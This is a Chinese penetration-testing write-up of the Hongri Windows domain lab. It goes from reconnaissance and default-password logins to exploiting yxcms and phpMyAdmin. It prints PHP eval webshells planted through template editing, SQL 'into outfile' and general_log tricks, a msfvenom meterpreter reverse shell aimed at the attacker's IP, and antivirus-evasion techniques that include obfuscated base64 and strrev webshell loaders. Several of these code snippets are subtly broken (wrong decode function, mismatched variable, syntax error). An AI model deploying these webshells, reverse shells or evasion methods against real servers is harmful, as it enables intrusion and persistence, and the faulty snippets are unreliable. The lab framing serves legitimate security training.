一、环境搭建

1.1 下载虚拟机文件

自行搜索。

1.2 环境介绍

开机密码:hongrisec@2019.

本次实验共3台主机,Win7作为Web服务器,是最先攻击点,Win2k3为内网域成员主机,Win2k8 R2为内网域控主机。

Kali:自主搭建,配置与Web服务器同一网段的IP,使用命令ifconfig eth0 <ip>即可。

Win7:双网卡,即存在内外网IP。外网网卡通过DHCP自动获取IP,内网网卡配置静态IP:192.168.52.143。服务器存在yxcms。分别与Kali(NAT模式)和内网两台主机(自定义VMnet2)连通。

Win2k3:只有内网网卡,IP:192.168.52.138,使用VMnet2

Win2k8 R2:只有内网网卡,IP:192.168.52.141,使用VMnet2

拓扑图如下:

vjVpAI

安装完成之后在Win7主机上打开phpstudy开启Web服务。

二、信息收集

2.1 探测存活主机

命令:

nmap -sS -sV -O 192.168.106.0/24

# 此处的IP为NAT模式下Win7和Kali自动获取到的IP
# 参数说明
sS		:		SYN半连接扫描,只进行前两次握手
sV		:		显示服务器详细版本
O		:		显示服务器操作系统(不太准确)

结果:

Nmap scan report for 192.168.106.150
Host is up (0.00044s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:33:16:84 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2008|7|8.1|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Microsoft Windows Server 2008 or 2008 Beta 3, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows 8.1 R1, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop

2.2 访问Web服务

尝试访问主机80端口,发现为php探针页面。获得操作系统、编译引擎、主机名、绝对路径、管理员邮箱等信息。可考虑通过钓鱼攻击等方式进一步获取信息。

TyUeI0

继续向下翻,有数据库检测和函数检测功能:

u4zTqw

尝试数据库弱口令,账密为root/root

2.3 目录探测

使用dirbuster或御剑等工具扫描目录,发现/phpmyadmin/登录目录和beifen.rar网站源代码。

访问192.168.106.150/phpmyadmin使用默认账密root/root登录phpmyadmin后台管理页面。

查看下载下来的网站源代码,发现网站使用了yxcms,访问192.168.106.150/yxcms,发现是一个默认的演示站点,继续访问192.168.106.150/yxcms/robots.txt,内容如下:

#
# robots.txt for YXCMS
#
User-agent: * 
Disallow: /data
Disallow: /protected

访问192.168.106.150/yxcms/data,发现一个目录索引:

1FgwoD

访问192.168.106.150/yxcms/protected

LJQNTs

三、漏洞利用

3.1 漏洞探寻与利用

3.1.1 yxcms信息泄露+弱口令

查看主页面的公共信息栏,有默认账密:

KE0bu0

URL与默认账密均未修改,直接登录管理员后台。

3.1.2 phpmyadmin弱口令

目录探测部分中已介绍。

3.1.3 yxcms留言板xss漏洞

进入留言板模块,构造如下内容:

yI9AzS

登录后台管理页面→结构管理→留言本→审核刚刚提交的评论,刷新留言板页面,成功触发XSS,管理访问审核页面以及其他用户访问留言板时都会触发弹窗,为存储型XSS漏洞。

3.1.4 yxcms后台任意文件读写漏洞

进入后台管理页面→管理首页→前台模板→管理模板文件→新建,写入一句话木马:

MK1X2U

创建之后,根据之前的目录索引或网站源码查找文件存储路径:http://192.168.106.150/yxcms/protected/apps/default/view/default/,使用蚁剑连接小马:

Shell url	:	http://192.168.106.150/yxcms/protected/apps/default/view/default/oopsdc.php
Shell pwd	:	cmd

成功连接。

3.1.5 yxcms后台SQL注入漏洞

进入后台管理页面→结构管理→碎片列表→删除,在点击删除之前使用bp抓包,正常删除已存在的碎片会有回显结果,删除不存在的碎片则无回显,判断存在SQL盲注。对于无回显的情况,可通过使用CEYECEYE平台的使用 - 时光不改 - 博客园 (cnblogs.com)及类似工具查看回显。

3.1.6 SQL语句文件写入

phpmyadmin页面通过SQL查询语句outfile写入一句话木马:

select '<?php eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/1.php'

dOx7PB

查看secure-file-priv变量配置:

show global variable like '%secure%';

uYCt48

变量值为NULL不可读写,且变量只读不可编辑。

3.1.7 开启全局日志getshell

使用以下语句查询全局日志变量配置:

show variables like '%general%';

iBQ4aL

开启general_log将所有查询语句记录到新指定的可访问文件中:

set global general_log = on;

NH2nTR

set global general_log_file = 'C:/phpStudy/www/2.php';

paft5A

写入一句话木马:

select '<?php eval($_POST[123]);?>'

LoArRO

蚁剑连接即可。

3.2 后台getshell技巧

3.2.1 上传大马

上传大马获得命令执行环境。

3.2.2 msf监听反弹shell

进入msf

msfconsole

使用msfvenom生成payload文件,使用蚁剑上传至WWW目录:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.106.138 -f raw > test.php

# 参数解释
p		:		添加载荷(payload)
f		:		输出文件格式,文件会在当前目录生成

zzysOY

接下来使用handler模块接收反弹模块,在8888端口进行监听,访问test.php,连接成功:

use exploit/multi/handler
run

还可利用应用系统漏洞,如永恒之蓝等。

3.2.3 免杀payload

在目标主机存在杀软的情况下,上传payload后会被检测并清除,因此需要对payload进行免杀操作。使用msfvenom生成payload,此处采用shellcode方式借助第三方直接加载到内存中,如:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=<ip> LPORT=<port> -f c

# 参数解释
e		:		选择指定编码器
i		:		编码次数
b		:		去除多余/坏掉字符
f		:		输出文件格式,此处使用C编译器编写代码

相关文章:

Payload 实现分离免杀 - lyshark - 博客园 (cnblogs.com)

还可通过多层编码对大马原文件进行编码,对关键字进行拆解免杀,脚本:

$src = file_get_contents('C:\phpStudy\WWW\dama.txt');	# 大马源码路径
$enc = base64_encode(gzdeflate($code));	# 加密函数,可自行修改
echo $enc	# 输出编码后的代码

使用编码后的代码:

<?php
eval(gzdeflate(base64_decode('<encoded-string>')));
?>

关键字免杀:

<?php
$o = 'BasE6';
$p = '4_';
$s = 'dE';
$d = 'Co';
$c = 'De';
$opsdc = $o.$p.$s$.d.$c;
$a = "opsdc";
$res = $$a('源码Base64编码')
eval($res);
?>

<?
$res = strrev('EdoCeD_46EsAb');
$b = $res('源码Base64编码');
eval($b);
?>

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。